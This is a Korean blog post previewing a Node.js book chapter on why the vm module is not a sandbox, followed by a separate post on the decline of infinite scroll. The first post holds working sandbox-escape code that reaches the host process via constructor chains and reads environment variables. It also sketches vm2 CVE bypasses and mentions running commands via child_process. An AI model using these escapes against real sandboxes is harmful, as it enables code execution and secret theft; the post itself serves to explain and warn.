호스트에서 `globalThis.secret`을 설정했지만, `vm.runInNewContext()` 안에서 `secret`은 `undefined`다. 컨텍스트가 별도의 전역 객체를 가지기 때문이다. 이 동작만 보면 완벽한 격리처럼 보인다. 그러나 이것이 "샌드박스"라고 결론 내리기에는 결정적인 빈틈이 있다. 공식 문서의 경고를 먼저 살펴본 뒤, 그 빈틈이 무엇인지 5.2.2절에서 구체적으로 분석한다.

### 5.2.1.2 공식 문서의 경고: "not a security mechanism"

Node.js 공식 문서는 `vm` 모듈 페이지의 첫머리에 다음과 같은 경고를 배치한다.

> "The node:vm module is not a security mechanism. Do not use it to run untrusted code."
> (vm 모듈은 보안 메커니즘이 아니다. 신뢰할 수 없는 코드를 실행하는 데 사용하지 마라.)[^1]

이 경고가 문서의 첫 문단에 등장한다는 사실 자체가 의미심장하다. 많은 개발자가 이 모듈을 보안 목적으로 오용해왔다는 반증이기도 하다.

흥미로운 점은 현재 공식 문서가 "sandbox"라는 용어를 전혀 사용하지 않는다는 것이다. 대신 "context"와 "contextified object"라는 표현만 사용한다. `vm.createContext()`의 반환값도 "sandbox"가 아니라 "contextified object"다. 이 용어 선택은 의도적이다. `vm` 모듈이 제공하는 것은 보안 경계(security boundary)가 아니라 실행 컨텍스트의 분리(context separation)이기 때문이다.

그렇다면 왜 개발자들은 `vm` 모듈을 샌드박스로 오해할까? 두 가지 이유가 있다.

첫째, `vm.runInNewContext()`의 동작이 표면적으로 완벽한 격리처럼 보인다. 앞서 예제 5.2.2에서 확인했듯이, 호스트의 전역 변수에 접근할 수 없고, 코드 실행 결과가 호스트 환경에 영향을 주지 않는다. `require`나 `process` 같은 Node.js 내장 객체도 컨텍스트에 명시적으로 전달하지 않으면 사용할 수 없다.

둘째, 초기 Node.js 생태계에서 `vm` 모듈의 API 이름 자체가 혼란을 유발했다. `runInNewContext`의 "new context"가 "새로운 격리 환경"으로 읽히기 쉽고, 실제로 v0.10부터 약 10년간 공식 API의 파라미터 이름이 `sandbox`였다[^4]. 2019년 12월 Rich Trott의 PR #31057에서 보안적 오해를 방지하기 위해 `contextObject`로 변경되었지만, 이미 "vm = 샌드박스"라는 잘못된 등식이 개발자들 사이에 깊이 자리 잡은 뒤였다.

그러나 컨텍스트 분리와 보안 격리는 완전히 다른 개념이다. 컨텍스트 분리는 별도의 전역 스코프를 제공할 뿐, 프로세스 수준의 리소스(파일 시스템, 네트워크, 메모리)에 대한 접근을 차단하지 않는다. 컨텍스트 내부의 코드가 호스트 객체의 프로토타입 체인을 타고 올라가면, 컨텍스트 밖의 `Function` 생성자에 도달할 수 있다. 이 경로가 열려 있는 한, 아무리 전역 변수를 차단해도 호스트 환경 전체에 접근할 수 있다. 다음 절에서 이 탈출 경로를 구체적으로 분석한다.

## 5.2.2 컨텍스트 격리가 보호하는 것과 보호하지 못하는 것

5.2.1절에서 `vm.runInNewContext()`가 호스트의 전역 변수를 차단하는 모습을 확인했다. 이 절에서는 컨텍스트 격리가 정확히 어디까지 보호하고, 어디서부터 무너지는지 경계를 명확히 한다.

### 5.2.2.1 V8 컨텍스트와 글로벌 객체 분리

`vm.createContext()`가 만드는 V8 컨텍스트는 독립적인 전역 객체를 가진다. 이 전역 객체에는 ECMAScript 표준이 정의하는 빌트인(`Object`, `Array`, `Promise`, `Math` 등)이 새로 생성되어 들어가지만, Node.js 고유의 전역 객체(`process`, `require`, `Buffer`, `__dirname` 등)는 포함되지 않는다.

```javascript
import vm from 'node:vm'

const context = vm.createContext({})

// ECMAScript 빌트인은 존재한다
console.log(vm.runInContext('typeof Object', context)) // "function"
console.log(vm.runInContext('typeof Array', context)) // "function"
console.log(vm.runInContext('typeof Promise', context)) // "function"

// Node.js 전역 객체는 존재하지 않는다
console.log(vm.runInContext('typeof process', context)) // "undefined"
console.log(vm.runInContext('typeof require', context)) // "undefined"
console.log(vm.runInContext('typeof Buffer', context)) // "undefined"
```

> 예제 5.2.3 V8 컨텍스트의 빌트인과 Node.js 전역 객체

여기서 중요한 점이 하나 있다. 컨텍스트 안의 `Object`, `Function` 등 빌트인은 호스트의 것이 아니라 **컨텍스트 자체에 새로 생성된 독립적인 복사본** 이다.

```javascript
const contextFunction = vm.runInContext('Function', context)
console.log(contextFunction === Function) // false
```

컨텍스트의 `Function`과 호스트의 `Function`은 서로 다른 객체다. 컨텍스트의 `Function` 생성자로 만든 함수는 컨텍스트의 전역 스코프에서 실행되므로, `process`나 `require` 같은 호스트 전역에 접근할 수 없다. 이 분리가 컨텍스트 격리의 핵심이다.

이 결과만 보면 격리가 잘 작동하는 것 같다. `process`에 접근할 수 없으니 `process.exit()`으로 프로세스를 종료할 수 없고, `require`가 없으니 `fs` 모듈을 불러올 수도 없다. 그러나 이 보호에는 결정적인 전제가 있다. 컨텍스트에 호스트에서 생성한 객체를 전달하지 않았을 때만 성립한다는 것이다.

### 5.2.2.2 프로토타입 체인이 열어두는 통로

실제 애플리케이션에서 컨텍스트에 아무것도 전달하지 않고 코드를 실행하는 경우는 드물다. 사용자 코드에 데이터를 넘기거나, 제한된 API를 제공하기 위해 객체를 컨텍스트에 넣어야 한다. 문제는 호스트에서 생성한 객체를 컨텍스트에 전달하는 순간, 그 객체의 프로토타입 체인이 호스트 환경으로 돌아가는 다리 역할을 한다는 것이다.

JavaScript에서 모든 일반 객체는 프로토타입 체인을 가진다. `{}`로 만든 객체의 프로토타입은 `Object.prototype`이고, `Object.prototype.constructor`는 `Object` 함수를 가리킨다. 그리고 `Object`는 함수이므로 `Object.constructor`는 `Function` 생성자를 가리킨다. 5.2.2.1절에서 확인한 것처럼, 컨텍스트 자체의 `Function`은 호스트의 `Function`과 다른 객체다. 그런데 호스트에서 만든 객체의 프로토타입 체인을 타고 올라가면, 도달하는 `Function`은 컨텍스트의 것이 아니라 **호스트의 것** 이다.

```javascript
import vm from 'node:vm'

const sandbox = {data: {value: 42}}
const context = vm.createContext(sandbox)

// 호스트 객체의 프로토타입 체인은 호스트의 Function에 도달한다
const hostFunction = vm.runInContext('data.constructor.constructor', context)
console.log(hostFunction === Function) // true — 호스트의 Function!
```

> 예제 5.2.4 호스트 객체의 프로토타입 체인이 호스트 Function에 도달하는 증거

`data`는 호스트에서 `{ value: 42 }`로 생성한 객체다. 이 객체의 `constructor`는 호스트의 `Object`이고, `Object.constructor`는 호스트의 `Function`이다. 호스트의 `Function` 생성자로 만든 함수는 호스트의 전역 스코프에서 실행되므로, `process`에 접근할 수 있다. 다음 코드로 전체 탈출 과정을 시연해보자.

```javascript
const escaped = vm.runInContext(
  `
  const HostObject = data.constructor;           // 호스트의 Object
  const HostFunction = HostObject.constructor;   // 호스트의 Function

  // 호스트 컨텍스트에서 실행되는 함수를 생성
  const getProcess = HostFunction('return process');
  const hostProcess = getProcess();

  ({
    pid: hostProcess.pid,
    version: hostProcess.version,
    platform: hostProcess.platform,
  });
`,
  context,
)

console.log(escaped)
// { pid: <현재 PID>, version: 'v24.13.0', platform: 'darwin' }
```

호스트에서 `{ value: 42 }`라는 평범한 객체를 전달했을 뿐인데, 컨텍스트 내부의 코드가 `process.pid`, `process.version`, `process.platform`에 접근하는 데 성공했다. `process`를 컨텍스트에 명시적으로 전달한 적이 없는데도 말이다.

```mermaid
flowchart LR
    A["data\n(호스트에서 생성한 객체)"] --> B["data.constructor\n(호스트의 Object)"]
    B --> C["Object.constructor\n(호스트의 Function)"]
    C --> D["Function('return process')()\n(호스트 컨텍스트에서 실행)"]
    D --> E["process 획득\n(파일·네트워크·프로세스 접근)"]
```

> 그림 5.2.1 프로토타입 체인을 이용한 샌드박스 탈출 경로

`process`에 접근할 수 있다면 피해는 무제한이다. `process.exit()`으로 프로세스를 종료하거나, `process.env`로 환경 변수(DB 비밀번호, API 키 등)를 읽거나, CJS 환경에서는 `process.mainModule.require('child_process').execSync()`로 임의의 시스템 명령을 실행할 수 있다. (`process.mainModule`은 v14.0.0부터 deprecated이지만, CJS 환경에서는 여전히 접근 가능하다.)

"그렇다면 호스트 객체를 전달하지 않으면 안전한 것 아닌가?"라고 생각할 수 있다. 실제로 호스트 객체를 전달하지 않으면 이 경로는 차단된다.

```javascript
import vm from 'node:vm'

// 프로토타입 없는 샌드박스, 호스트 객체 미전달
const sandbox = Object.create(null)
const context = vm.createContext(sandbox)

try {
  // this.constructor.constructor는 존재하지만 컨텍스트 자체의 Function이다
  // 컨텍스트의 Function으로 만든 코드는 process에 접근 불가
  vm.runInContext('this.constructor.constructor("return process")()', context)
} catch (err) {
  console.log('탈출 차단:', err.message)
  // ReferenceError: process is not defined
}

// 그러나 호스트 객체를 하나라도 전달하면 즉시 탈출 가능
const sandbox2 = Object.create(null)
sandbox2.config = {timeout: 5000} // 호스트에서 생성한 평범한 객체
const context2 = vm.createContext(sandbox2)

const proc = vm.runInContext(
  'config.constructor.constructor("return process")()',
  context2,
)
console.log('탈출 성공:', proc.version) // v24.13.0
```

> 예제 5.2.5 호스트 객체 전달 유무에 따른 탈출 가능 여부

호스트 객체를 전달하지 않으면 `this.constructor.constructor`는 컨텍스트 자체의 `Function`이므로 `process`에 접근할 수 없어 `ReferenceError`가 발생한다. 그러나 `{ timeout: 5000 }`이라는 단순한 설정 객체 하나만 전달해도 즉시 탈출이 가능하다. 현실적으로 아무런 데이터도 전달하지 않고 의미 있는 코드를 실행하는 것은 불가능에 가깝다. 이것이 `vm` 모듈의 컨텍스트 격리가 보안 도구로 사용될 수 없는 근본적인 이유다. 프로토타입 체인은 가장 기본적인 탈출 경로일 뿐이며, 5.2.3절에서는 `Error.prepareStackTrace`와 `Promise` 콜백 등 더 정교한 공격 벡터(attack vector, 공격자가 시스템에 침투하는 경로)를 살펴본다.

## 5.2.3 샌드박스 탈출: 공격 벡터 분석

5.2.2절에서 프로토타입 체인을 통해 호스트의 `process`에 접근하는 기본 원리를 확인했다. 이 절에서는 실제로 어떤 경로들이 존재하고, 각 경로가 어떻게 악용될 수 있는지 분석한다. `vm` 모듈의 단순한 컨텍스트 격리뿐 아니라, `vm2`처럼 보안 래퍼를 추가한 경우에도 뚫린 기법까지 다룬다.

### 5.2.3.1 constructor를 이용한 호스트 Function 획득

5.2.2.2절에서 `data.constructor.constructor`를 통한 탈출을 시연했다. 여기서 강조할 점은 진입점이 `data` 하나가 아니라는 것이다. 호스트에서 생성한 **어떤 값** 이든 컨텍스트에 전달하는 순간 탈출 경로가 된다.

```javascript
import vm from 'node:vm'

const sandbox = Object.create(null)

// 어떤 타입이든 호스트에서 생성한 값은 호스트의 Function으로 연결된다
sandbox.callback = (msg) => console.log(msg) // 함수
sandbox.items = [1, 2, 3] // 배열
sandbox.pattern = /test/ // 정규식
sandbox.promise = Promise.resolve(42) // Promise

const context = vm.createContext(sandbox)

const escape = (expr) =>
  vm.runInContext(`${expr}.constructor('return process')().version`, context)

console.log('함수 경유:', escape('callback')) // v24.13.0
console.log('배열 경유:', escape('items.constructor')) // v24.13.0
console.log('정규식 경유:', escape('pattern.constructor')) // v24.13.0
console.log('Promise 경유:', escape('promise.constructor')) // v24.13.0
```

> 예제 5.2.6 호스트에서 생성한 모든 객체가 탈출 경로가 된다

콜백 함수는 `callback.constructor`가 곧 호스트의 `Function`이므로 체인이 한 단계 짧다. 배열, 정규식, Promise 등은 각각의 생성자(`Array`, `RegExp`, `Promise`)를 거쳐 `Function`에 도달한다. 어떤 경로든 결과는 같다. 호스트의 `Function` 생성자를 손에 넣으면 `Function('return process')()`로 `process`에 접근하고, 거기서부터 시스템 전체를 장악할 수 있다.

`process` 객체에 접근한 공격자가 실제로 할 수 있는 일을 정리하면 다음과 같다.

```javascript
import vm from 'node:vm'

const sandbox = {data: {}}
const context = vm.createContext(sandbox)

const stolen = vm.runInContext(
  `
  const F = data.constructor.constructor;
  const proc = F('return process')();

  ({
    // 1) 환경 변수 탈취: DB 비밀번호, API 키 등
    env: {
      HOME: proc.env.HOME,
      USER: proc.env.USER,
      SHELL: proc.env.SHELL,
    },
    // 2) 프로세스 정보
    pid: proc.pid,
    cwd: proc.cwd(),
    argv: proc.argv,
    // 3) process.exit()으로 서비스 중단도 가능
    // 4) process.mainModule?.require로 모듈 로드도 가능 (CJS 환경)
  });
`,
  context,
)

console.log(stolen)
```

> 예제 5.2.7 process 접근 후 실제 피해 범위

> `process.mainModule.require`가 항상 작동하는 것은 아니다. ESM 환경에서는 `process.mainModule`이 `undefined`이므로 이 경로로 `require`에 접근할 수 없다. 그러나 `process.env`를 통한 환경 변수 탈취, `process.exit()`을 통한 서비스 중단, `process.kill()`을 통한 프로세스 종료 등은 모듈 시스템과 무관하게 작동한다. CJS 환경이라면 `process.mainModule.require('child_process').execSync()`로 임의의 시스템 명령을 실행할 수 있어 피해가 더 크다.

### 5.2.3.2 Error.prepareStackTrace를 이용한 탈출

프로토타입 체인을 통한 탈출이 `vm` 모듈의 가장 기본적인 취약점이라면, `Error.prepareStackTrace`는 `vm2`같은 보안 래퍼까지 무력화한 고급 기법이다. 이 기법은 CVE-2022-36067(코드명 "SandBreak", CVSS 10.0)로 등록되었고, `vm2`의 종말을 앞당긴 결정적 계기가 되었다.[^5]

V8 엔진은 `Error.prepareStackTrace`라는 비표준 API를 제공한다. 에러 객체의 `stack` 속성에 접근할 때 호출되는 콜백으로, 원래 목적은 스택 트레이스의 형식을 커스터마이징하는 것이다.

```javascript
// Error.prepareStackTrace의 기본 동작
Error.prepareStackTrace = (error, callSites) => {
  // callSites: CallSite 객체의 배열
  // 각 CallSite는 호출 스택의 한 프레임을 나타낸다
  return callSites.map((site) => site.getFunctionName()).join('\n')
}
```

문제는 이 콜백이 **컨텍스트 경계를 넘어 호출된다** 는 것이다. `vm2`는 프로토타입 체인 탈출을 막기 위해 모든 객체를 `Proxy`로 래핑하여 `constructor` 접근을 차단했다. 그러나 `vm2`는 `Proxy`와 원본 객체의 매핑을 `WeakMap`에 저장하고 있었고, `WeakMap.prototype.has()`와 `WeakMap.prototype.get()` 등의 메서드를 래핑하지 않은 빈틈이 있었다. 공격자는 래핑되지 않은 `WeakMap` 메서드를 통해 `Proxy` 뒤의 원본 호스트 객체에 접근할 수 있었고, 이를 이용해 `prepareStackTrace`를 오버라이드하여 `Proxy` 래핑을 거치지 않는 호스트 렐름(realm)의 `CallSite` 객체에 접근할 수 있었다. `CallSite` 객체를 통해 호스트 렐름의 함수 참조를 획득하면, `Proxy`가 아무리 `constructor`를 차단해도 우회할 수 있다.

SandBreak 공격의 핵심을 개념적으로 정리하면 다음과 같다.

```mermaid
flowchart TD
    A["샌드박스 내부에서 에러 발생"] --> B["V8이 Error.prepareStackTrace 호출"]
    B --> C["CallSite 객체 전달\n(Proxy 래핑 없이)"]
    C --> D["CallSite에서 호스트 함수 참조 획득"]
    D --> E["호스트 컨텍스트에서 임의 코드 실행"]
```

> 그림 5.2.2 SandBreak(CVE-2022-36067) 공격 원리

이 공격이 특히 위험한 이유는 `vm2`의 보안 모델 자체를 근본적으로 무효화했기 때문이다. `vm2`는 `Proxy`를 사용하여 샌드박스 내부의 모든 객체 접근을 가로채고, 위험한 속성(`constructor`, `__proto__` 등)에 대한 접근을 차단하는 방식으로 보안을 구현했다. 그러나 `Error.prepareStackTrace`는 V8 엔진 내부에서 직접 호출되므로, `Proxy` 트랩을 우회한다. 방어 레이어가 아무리 정교해도, V8 엔진 수준에서 호스트 객체가 노출되는 경로가 있으면 무의미하다.

### 5.2.3.3 Proxy와 Promise 콜백을 이용한 우회

SandBreak가 패치된 이후에도 `vm2`에는 비슷한 유형의 취약점이 연달아 발견되었다. 공통 패턴은 **비동기 콜백이 호스트 렐름에서 실행될 때 새니타이징(sanitization, 위험 요소 제거)을 우회하는 것** 이다.

`vm2`는 `Promise`의 `.then()`과 `.catch()` 콜백을 래핑하여 샌드박스 내부의 코드가 호스트 렐름의 객체에 접근하지 못하도록 했다. 그러나 `vm2`가 자체적으로 만든 `Promise` 래퍼만 새니타이징할 뿐, `async` 함수가 반환하는 네이티브 `Promise`의 콜백까지는 새니타이징하지 못했다. CVE-2023-37466(CVSS 10.0)은 바로 이 틈을 파고든 취약점이다.[^6]

```javascript
// CVE-2023-37466의 개념적 재현 (vm2 내부에서 실행되는 공격 코드)

// 1) 일반 Promise: vm2가 Proxy로 래핑하여 콜백을 새니타이징
Promise.resolve().then(() => {
  // 이 콜백은 vm2의 Proxy를 거쳐 실행됨
  // → constructor 등 위험한 속성 접근이 차단됨
})

// 2) async 함수의 반환값: vm2의 래핑을 우회
async function exploit() {
  return 1
}

exploit().then(() => {
  // async가 반환하는 Promise는 vm2의 래퍼가 아닌 호스트의 네이티브 Promise
  // → .then() 콜백이 새니타이징되지 않은 채 호스트 렐름에서 실행됨
  // → 호스트 객체에 접근 가능 → 샌드박스 탈출
})
```

이 문제는 `vm2`에 국한되지 않는다. 원본 `vm` 모듈에서도 호스트의 `Promise`를 컨텍스트에 전달하면 동일한 원리로 탈출이 가능하다.

```javascript
import vm from 'node:vm'

const sandbox = Object.create(null)
sandbox.hostPromise = Promise.resolve(42)
const context = vm.createContext(sandbox)

// 호스트 Promise의 constructor → 호스트 Function → 탈출
const version = vm.runInContext(
  `
  const HostFunction = hostPromise.constructor.constructor;
  HostFunction('return process')().version;
`,
  context,
)
console.log('Promise 경유 탈출:', version) // v24.13.0
```

> 예제 5.2.8 호스트 Promise를 통한 탈출

결국 세 가지 공격 벡터 모두 같은 근본 원인을 공유한다. `vm` 모듈의 컨텍스트 격리는 전역 스코프만 분리할 뿐, **객체 간 참조 관계까지 끊지 못한다.** 호스트에서 생성한 객체를 컨텍스트에 전달하는 한, 프로토타입 체인이든 에러 콜백이든 `Promise` 핸들러든, 호스트 렐름으로 돌아가는 경로는 반드시 존재한다. 이 문제는 V8 컨텍스트의 설계 자체에 내재된 것이므로, `vm` 모듈 위에 아무리 정교한 래퍼를 추가해도 근본적으로 해결할 수 없다.

---

> 이 글은 현재 집필 중인 [Node.js Deep Dive](https://yceffort.kr/2026/02/nodejs-deep-dive-beta-reader)의 5.2장 일부를 미리 공개한 것입니다. 5.2.4절 이후에서는 `vm2`의 CVE 연대기와 프로젝트 중단 과정, `vm` 모듈의 올바른 사용처(Node.js REPL, Jest의 테스트 격리), 그리고 신뢰할 수 없는 코드를 격리하기 위한 실질적 대안(`isolated-vm`, Worker Threads, 컨테이너 + Permission Model)을 다루고 있습니다. 베타 리더를 모집하고 있으니 관심 있으신 분은 링크를 참고해주시면 감사하겠습니다.

---

[^1]: Node.js Documentation: VM (executing JavaScript) - https://nodejs.org/docs/latest/api/vm.html

[^2]: GitHub Advisory: vm2 CVE-2023-37903 - https://github.com/advisories/GHSA-g644-9gfx-q4q4

[^3]: V8 Embedder's Guide: Contexts - https://v8.dev/docs/embed#contexts

[^4]: Node.js PR #31057: Remove "sandbox" from vm documentation - https://github.com/nodejs/node/pull/31057

[^5]: Oxeye Security: SandBreak (CVE-2022-36067) - https://www.oxeye.io/resources/vm2-sandbreak-vulnerability-cve-2022-36067

[^6]: GitHub Advisory: vm2 CVE-2023-37466 - https://github.com/advisories/GHSA-cchq-frgv-rjh5

---

Source: https://yceffort.kr/2026/02/infinite-scroll-dark-side.md
Title: Infinite Scroll의 몰락 — Google은 왜 무한 스크롤을 걷어냈는가
Description: 무한 스크롤이 UX, 성능, 접근성, 그리고 법률의 관점에서 어떻게 재평가되고 있는지 살펴본다
Date: 2026-02-21
Tags: frontend, ux, web-performance, accessibility, infinite-scroll

## Table of Contents

## 들어가며

2024년 6월, Google은 검색 결과에서 continuous scroll을 제거했다. 2021년 모바일, 2022년 데스크톱에 도입한 지 불과 2~3년 만이다. Google의 공식 입장은 이랬다.

> "자동으로 결과를 로딩하는 것이 검색 만족도를 유의미하게 높이지 않았다."

무한 스크롤의 대명사처럼 여겨지던 Google 검색이 다시 "다음" 버튼으로 돌아간 것이다. 이 결정은 단순한 UI 변경이 아니다. 무한 스크롤이라는 패턴 자체에 대한 재평가가 업계 전반에서 진행되고 있다는 신호다.

이 글에서는 무한 스크롤이 왜 도입됐고, 어디서 실패했으며, 기술적으로 어떤 비용을 치르고, 지금은 어떤 규제의 대상이 되고 있는지 살펴본다.

## 무한 스크롤이 작동하는 맥락

무한 스크롤이 무조건 나쁜 것은 아니다. 특정 맥락에서는 여전히 가장 효과적인 패턴이다.

Nielsen Norman Group의 분석에 따르면, 무한 스크롤은 **탐색(discovery) 중심의 경험**에서 잘 작동한다. 사용자가 특정 목표 없이 콘텐츠를 훑어볼 때, 페이지 전환이라는 마찰을 제거하면 체류 시간이 늘고 이탈률이 줄어든다. _Information Systems Journal_에 실린 연구도 "다음 버튼을 클릭하는 것 같은 짧은 중단조차 소셜 커머스 플랫폼에서 사용자가 작업을 포기하게 만들 수 있다"고 밝혔다.

Twitter(X), Instagram, TikTok이 여전히 무한 스크롤을 핵심 패턴으로 유지하는 이유가 여기에 있다. 이 서비스들의 공통점은 명확하다.

- **콘텐츠가 동질적이다** — 포스트, 사진, 짧은 영상으로 구성된 피드
- **목적이 없는 브라우징이다** — 사용자가 무엇을 찾겠다는 의도 없이 스크롤한다
- **모바일 중심이다** — 손가락 스와이프와 무한 스크롤은 자연스럽게 맞아떨어진다

문제는 이 맥락을 무시하고, 모든 곳에 무한 스크롤을 적용했을 때 발생한다.

## 무한 스크롤이 실패한 사례들

### Etsy: "모든 주요 지표에서 실패했다"

2012년, Etsy는 검색 결과에 무한 스크롤을 도입했다. 당시 Etsy의 Principal Engineer였던 Dan McKinley는 팀의 가정을 이렇게 설명했다.

> "더 많은 아이템을, 더 빨리 보여주는 것이 더 좋은 경험이라는 게 당연하다고 생각했다."

A/B 테스트 결과는 정반대였다.

| 지표                    | 페이지네이션 (대조군) | 무한 스크롤 (실험군) | 변화        |
| ----------------------- | --------------------- | -------------------- | ----------- |
| 방문자당 조회 아이템 수 | 80                    | 40                   | **-50.0%**  |
| 방문자당 클릭 수        | 0.6520                | 0.5811               | **-10.87%** |
| 방문자당 즐겨찾기 수    | 0.0752                | 0.0689               | **-8.38%**  |
| 방문자당 구매 수        | 0.0164                | 0.0127               | **-22.5%**  |

McKinley는 이를 "모든 주요 지표에서 실패했다(failed in every major way)"고 요약했다. 팀이 사후 분석에서 발견한 원인은 다음과 같았다.

**위치 감각의 상실.** 페이지네이션에서는 "2페이지 중간쯤에 봤던 상품"이라는 기억이 가능하다. 무한 스크롤에서는 그런 랜드마크가 없다. 사용자는 이전에 본 상품으로 돌아갈 수 없었고, 결과적으로 비교 행동 자체가 불가능해졌다.

**뒤로 가기의 파괴.** 상품을 클릭하고 뒤로 돌아오면 스크롤 위치가 초기화된다. 이미 본 수십 개의 상품을 다시 스크롤해야 했다.

**콘텐츠 유형의 부적합.** Google Images처럼 이미지 중심 콘텐츠는 빠르게 스캔할 수 있어서 무한 스크롤이 효과적이다. 하지만 Etsy의 상품 목록처럼 텍스트 설명, 가격, 리뷰를 비교해야 하는 콘텐츠에서는 집중적인 읽기가 필요하고, 페이지네이션이 이를 더 잘 지원한다.

McKinley의 결론은 인상적이다.

> "내 요점은 무한 스크롤이 멍청하다는 게 아니다. 우리가 우리 사이트의 사용자를 더 잘 이해했어야 했다는 것이다."

### Google 검색: 광고와 만족도의 교차점

Google이 continuous scroll을 제거한 공식적인 이유는 "더 빠르게 검색 결과를 제공하기 위해서"였다. 하지만 업계에서는 회의적인 시각이 많았다.

Google의 반독점 재판에서 공개된 내부 이메일에 따르면, 경영진은 광고 수익을 늘리는 방안을 논의해왔다. Continuous scroll은 사용자의 주의를 여러 페이지에 분산시키는 반면, 페이지네이션은 첫 번째 페이지의 광고 노출을 집중시킨다. 실제로 Workshop Digital은 이 변경 이후 5년 만에 처음으로 CPC(클릭당 비용)의 전년 대비 감소가 발생했다고 보고했다.

어떤 이유든, 핵심 사실은 변하지 않는다. Backlinko가 400만 건의 Google 검색 결과를 분석한 결과, **2페이지 결과를 클릭하는 사용자는 전체의 0.63%에 불과했다.** GSQI의 연구도 continuous scroll 도입 전후로 상위 6위 이내 결과의 클릭 비율이 ~96%로 변하지 않았음을 보여준다. 자동으로 더 많은 결과를 로딩하는 것은 대부분의 사용자에게 불필요한 일이었다.

### 직접 걷어낸 경험

나도 최근 프로젝트에서 무한 스크롤을 걷어내고 페이지네이션으로 전환한 적이 있다. 걷어내면서 가장 크게 느낀 것은, 무한 스크롤이 "구현"보다 "유지"가 훨씬 비싸다는 점이다.

**스크롤 위치 유지가 악몽이다.** 아이템을 클릭하고 상세 페이지에 다녀온 뒤 목록으로 돌아왔을 때, 이전 스크롤 위치를 정확히 복원해야 한다. 이를 위해서는 이미 로딩된 모든 아이템을 다시 불러오고, 동일한 높이로 렌더링한 뒤, 정확한 `scrollTop` 값으로 이동해야 한다. 아이템 높이가 가변적이면 — 이미지 로딩 타이밍, 텍스트 줄 수 차이 등으로 — 복원된 위치가 미묘하게 어긋난다. 이 문제를 완벽히 해결한 사이트를 거의 본 적이 없다.

**뒤로 가기(back navigation)가 까다롭다.** SPA에서 `history.pushState()`로 URL을 업데이트하지 않으면, 브라우저의 뒤로 가기가 목록이 아니라 이전 사이트로 나가버린다. URL을 업데이트하더라도 `popstate` 이벤트 핸들링, 스크롤 위치 캐싱, 데이터 재요청 여부 판단 등 신경 써야 할 것이 한두 가지가 아니다.

**예외 처리가 끝없이 늘어난다.** 네트워크 에러 시 재시도 로직, 빈 응답 처리, 중복 요청 방지(debounce/throttle), 데이터 변경으로 인한 중복 아이템 필터링, 로딩 인디케이터 상태 관리… 처음에는 Intersection Observer 하나면 될 것 같지만, 프로덕션 수준으로 올리면 코드 복잡도가 빠르게 증가한다. 페이지네이션은 이 모든 문제를 구조적으로 회피한다.

## 기술적 비용

무한 스크롤은 "그냥 스크롤하면 더 로딩되는 것"처럼 보이지만, 기술적으로는 상당한 비용을 수반한다.

### DOM 비대화와 메모리

사용자가 스크롤할수록 DOM 노드가 누적된다. Chrome Lighthouse는 **800개 노드**에서 경고를, **1,400개**에서 에러를 표시한다. 1,000개의 상품 카드가 각각 20개의 노드로 구성되어 있다면, 스크롤 끝에는 20,000개의 노드가 DOM에 존재한다. 이는 메모리 사용량 증가, 스타일 재계산 비용 증가, 가비지 컬렉션 빈도 증가로 이어진다.

실측 데이터가 이를 뒷받침한다. Expedia에서는 검색 결과 50개에 포함된 별점 컴포넌트만으로 1,200개의 DOM 노드가 생성되고 있었다. SVG 구조를 최적화해 **50개 노드로 줄이자, 주요 렌더링 지표가 ~200ms 개선됐다.** Google/SOASTA의 90만 모바일 페이지 분석에서도 페이지 요소가 400개에서 6,000개로 증가하면 **전환율이 95% 하락**하는 것으로 나타났다.

메모리 문제도 심각하다. Facebook은 무한 스크롤 피드의 메모리 누수를 탐지하기 위해 MemLab이라는 전용 도구를 개발했다. 이 도구 도입 후 facebook.com의 **OOM(Out of Memory) 크래시가 50% 감소**했고, React 18의 fiber 정리 최적화로 **평균 메모리 사용량이 ~25% 줄었다.** 거대 기업도 별도 도구를 만들어야 할 정도로, 무한 스크롤의 메모리 관리는 본질적으로 어려운 문제다.

Virtualization 라이브러리(react-window, react-virtuoso 등)로 화면에 보이는 아이템만 렌더링하는 것이 일반적인 해결책이지만, 이 역시 한계가 있다. 스크롤 위치 복원, 가변 높이 아이템 처리, SSR과의 호환성 등 구현 복잡도가 급격히 올라간다.

### Core Web Vitals에 대한 영향

**CLS (Cumulative Layout Shift).** 무한 스크롤에서 가장 까다로운 지표다. CLS 측정에서 스크롤은 "능동적 상호작용(active interaction)"으로 취급되지 않는다. 클릭이나 키 입력 후 500ms 이내의 레이아웃 이동은 CLS에서 제외되지만, 스크롤 중 발생하는 콘텐츠 삽입은 그런 유예가 없다. 새로운 아이템이 로딩되면서 footer가 밀려나거나, 이미지가 예약된 공간 없이 로딩되면 CLS 점수가 직접적으로 악화된다.

Andrea Verlicchi가 2025년 Web Performance Calendar에서 정리한 핵심 원칙은 이렇다.

> "사용자가 스크롤하는 동안 페이지의 보이는 부분을 움직이지 마라. 콘텐츠가 보이기 전에 공간을 확보하라."

반면 "Load More" 버튼은 이 문제를 구조적으로 회피한다. 버튼 클릭은 능동적 상호작용이므로, 클릭 직후 skeleton placeholder를 삽입하면 500ms 유예 기간 안에 레이아웃 확장이 완료된다. 네트워크 응답이 느려도 CLS 페널티가 0이다.

**INP (Interaction to Next Paint).** 무한 스크롤 구현이 스크롤 이벤트에서 무거운 JavaScript를 실행하면 메인 스레드가 블로킹되어 INP가 악화된다. passive event listener 사용, Intersection Observer API 기반 구현, requestAnimationFrame을 통한 스로틀링 등으로 완화할 수 있지만, 추가적인 엔지니어링 비용이 든다.

### 접근성: 해결 불가능한 문제들

접근성은 무한 스크롤의 가장 근본적인 기술적 문제다. W3C의 WCAG 논의에서 한 참여자는 무한 스크롤을 **"키보드 트랩"**으로 간주할 수 있다고 언급했다.

**키보드 사용자.** 무한 스크롤 영역의 모든 링크를 Tab으로 순회해야만 그 아래 콘텐츠에 도달할 수 있다. 한 테스트에서는 사이드 콘텐츠에 도달하기까지 **100번 이상의 Tab 키 입력**이 필요했다.

**스크린 리더 사용자.** 테스트 참여자의 발언이 문제를 명확하게 보여준다.

> "footer가 있는지 없는지 알 수가 없었다."
>
> "스크린 리더가 콘텐츠를 계속 읽어 내려갔고, 몇 분 뒤에 답답해졌다."

**음성 인식 사용자.** Dragon 같은 음성 인식 소프트웨어 사용자는 새로운 콘텐츠 로딩을 트리거할 방법 자체가 없다. 무한 스크롤 경험에서 완전히 배제된다.

**저시력 사용자.** 화면 확대 소프트웨어를 최대 6배까지 사용하는 저시력 사용자에게, 스크롤하면서 콘텐츠가 동적으로 변하는 것은 방향 감각 유지를 극도로 어렵게 만든다.

